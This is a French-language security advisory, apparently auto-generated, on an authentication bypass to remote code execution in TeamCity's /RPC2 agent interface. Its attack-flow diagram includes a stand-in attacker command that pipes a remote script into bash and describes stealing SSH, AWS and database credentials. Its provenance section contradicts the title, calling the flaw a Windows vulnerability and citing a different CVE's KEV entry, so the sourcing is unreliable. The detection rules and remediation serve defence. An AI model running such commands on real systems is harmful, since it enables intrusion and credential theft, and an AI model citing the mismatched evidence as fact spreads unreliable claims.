CVE-2026-63077 : contournement d'authentification vers RCE dans JetBrains TeamCity via le protocole d'interrogation des agents
SCORE DE MENACE HERMES & DÉTOURNEMENT DE LA CHAÎNE D'INTÉGRATION CONTINUE
Cible :JetBrains TeamCity On-Premises Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 évalue la gravité à 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). L'alignement est total : teamCity contrôle les chaînes de compilation logicielle, les dépôts de code source et les certificats de signature de production. La compromission de l'interface d'interrogation agent-serveur permet aux attaquants d'injecter des étapes de compilation piégées, de dérober les secrets d'infrastructure et de diffuser des binaires rétro-ingéniérés aux clients finaux.
CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling ProtocolVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »JetBrains TeamCity est une plateforme d’intégration et de déploiement continus (CI/CD) d’entreprise orchestrant les tests unitaires, la compilation de code et la publication logicielle.
| Paramètre | Spécification Technique | Contexte de Menace |
|---|---|---|
| Identifiant CVE | CVE-2026-63077 | Référence CISA KEV |
| Composant vulnérable | Sous-système de communication avec les agents TeamCity | Interface XML-RPC et points d’accès REST |
| Vecteur réseau | HTTP/HTTPS (Port TCP 8111) | Serveur web TeamCity exposé |
| Cause racine | Absence de contrôle du jeton secret de l’agent (CWE-287) | Usurpation pré-authentification et RPC contrôleur |
| Versions affectées | TeamCity On-Premises < 2024.12.3 et 2025.x < 2025.1 | Serveurs de compilation sur site |
| Versions corrigées | 2024.12.3, 2025.1 | Mises à jour officielles JetBrains |
| Impact d’exploitation | Prise de contrôle du contrôleur, empoisonnement de la chaîne logicielle | Compromission intégrale de l’infrastructure CI/CD |
2. Décomposition technique : faille du protocole de scrutation des agents
Section intitulée « 2. Décomposition technique : faille du protocole de scrutation des agents »A. L’échange inconséquent du protocole agent
Section intitulée « A. L’échange inconséquent du protocole agent »Les agents de compilation TeamCity communiquent avec le serveur central par interrogation périodique en HTTP sur /RPC2. En configuration normale, un agent doit s’authentifier à l’aide d’un jeton secret délivré par le contrôleur.
Dans les versions vulnérables, le gestionnaire XML-RPC acceptait les méthodes du contrôleur émanant de n’importe quelle adresse IP sans exiger le jeton cryptographique :
// Modélisation de la routine vulnérable dans TeamCity AgentRequestHandlerpublic Object handleRpcCall(String methodName, Vector params) { // ANOMALIE : Si le nom de la méthode commence par le préfixe agent/contrôleur, le contrôle est éludé if (methodName.startsWith("buildAgent.") || methodName.startsWith("controller.")) { return dispatchInternalMethod(methodName, params); // Exécution non authentifiée ! } return enforceStandardAuth(methodName, params);}+----------------------------------------------------------------------------------------------------+| FLUX D'ATTAQUE DE LA CVE-2026-63077 |+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] │ │ [1] HTTP POST /RPC2 │ Content-Type: text/xml │ Appel : controller.registerAgentWithProfile(maliciousProfile) ▼ [Serveur TeamCity (Port 8111)] │ ├───► 1. Gestionnaire XML-RPC : │ - Identifie le préfixe de méthode "controller." │ - Contourne les filtres de session web et CSRF │ - Enregistre l'attaquant en tant qu'agent de compilation de confiance │ ├───► 2. Exécution de Commandes Inverses : │ - L'attaquant invoque controller.executeServerTask() │ - Injecte des commandes système au sein de la JVM du serveur │ ▼ [Hôte Contrôleur TeamCity (Serveur Linux / Windows)] │ └───► Création d'un processus sous le compte de service TeamCity : - /bin/bash -c "curl attacker.c2/drop.sh | bash" - Extraction des identifiants de base de données dans config/database.properties - Exfiltration des clés SSH, clés IAM AWS et tokens de déploiement GitHub+----------------------------------------------------------------------------------------------------+3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature
Section intitulée « 3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature »- Inscription CISA KEV : inscrite immédiatement en raison de son exploitation par plusieurs groupes étatiques ciblant les éditeurs de logiciels pour mener des attaques par rebond sur la chaîne d’approvisionnement (Supply Chain Attack).
- Objectifs opérationnels constatés :
- Vol des codes sources par interception des clones de dépôts Git.
- Modification des scripts de compilation pour injecter des chevaux de Troie dans les binaires logiciels avant leur signature officielle.
- Récupération des secrets d’infrastructure cloud enregistrés dans les paramètres de projets TeamCity.
4. Cartographie MITRE ATT&CK
Section intitulée « 4. Cartographie MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Manifestation dans l’Attaque |
|---|---|---|---|
| Accès initial | T1190 | Exploitation d’application publique | Requête HTTP POST distante vers /RPC2 |
| Évasion de défense | T1556 | Modification du processus d’authentification | Échappement aux contrôles d’authentification dans le gestionnaire RPC |
| Exécution | T1059 | Interpréteur de commandes et scripts | Exécution de commandes système via les tâches du contrôleur |
| Accès aux identifiants | T1552.001 | Identifiants dans les fichiers | Vol des fichiers de configuration et des secrets des projets |
| Impact | T1565.002 | Manipulation de données : Données transmises | Empoisonnement des livrables de production au sein de la chaîne CI/CD |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert http any any -> $TEAMCITY_SERVERS 8111 ( msg:"HERMES DEFENSE - Tentative de contournement auth TeamCity RPC (CVE-2026-63077)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/RPC2"; http.request_body; content:"controller."; http.request_body; pcre:"/<methodName>(controller\.|buildAgent\.)/i"; classtype:attempted-admin; sid:202663077; rev:1; reference:cve,2026-63077;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Enregistrement non autorisé d'agent TeamCity ou appel RPC suspectid: 8b7a6c5d-4e3f-2a1b-0c9d-63077c026e02status: highdescription: Détecte des invocations de méthodes XML-RPC non authentifiées sur les interfaces du serveur TeamCity.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: teamcity service: serverdetection: selection: message|contains: - 'RPC2' - 'controller.registerAgentWithProfile' - 'Unauthenticated agent call' condition: selectionfalsepositives: - Enregistrement initial d'agents légitimes lors de leur déploiement.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution6. Réponse à incident & rétro-ingénierie (DFIR)
Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »Points de contrôle d’investigation :
Section intitulée « Points de contrôle d’investigation : »- Contrôle de la liste des agents :
- Inspecter l’interface d’administration TeamCity -> Agents -> Non autorisés / Connectés.
- Repérer tout agent récemment connecté présentant une adresse IP ou un nom d’hôte inconnu.
- Examen des journaux d’accès (
teamcity-server.logetteamcity-rest.log) :- Filtrer les requêtes POST vers
/RPC2émanant d’adresses IP n’appartenant pas à la flotte d’agents répertoriée.
- Filtrer les requêtes POST vers
- Audit de l’intégrité des livrables :
- Recompiler les projets récents et comparer les empreintes cryptographiques SHA-256 des binaires générés pour détecter d’éventuelles altérations.
Requête de chasse (Elasticsearch / OpenSearch) :
Section intitulée « Requête de chasse (Elasticsearch / OpenSearch) : »{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "term": { "url.path": "/RPC2" } }, { "wildcard": { "http.request.body.content": "*controller.*" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Mise à niveau immédiate du serveur TeamCity : appliquer les versions 2024.12.3 ou 2025.1.
- Cloisonnement réseau du serveur CI/CD : restreindre le port
8111aux seuls sous-réseaux internes et accès VPN des développeurs autorisés ; interdire toute exposition directe sur Internet. - Activation de l’approbation manuelle des agents : activer l’option exigeant l’autorisation préalable obligatoire d’un administrateur avant qu’un agent puisse recevoir des tâches.
- Renouvellement intégral des secrets : en cas de compromission avérée, révoquer immédiatement l’ensemble des clés SSH de déploiement, identifiants AWS, jetons Docker et certificats de signature de code hébergés dans TeamCity.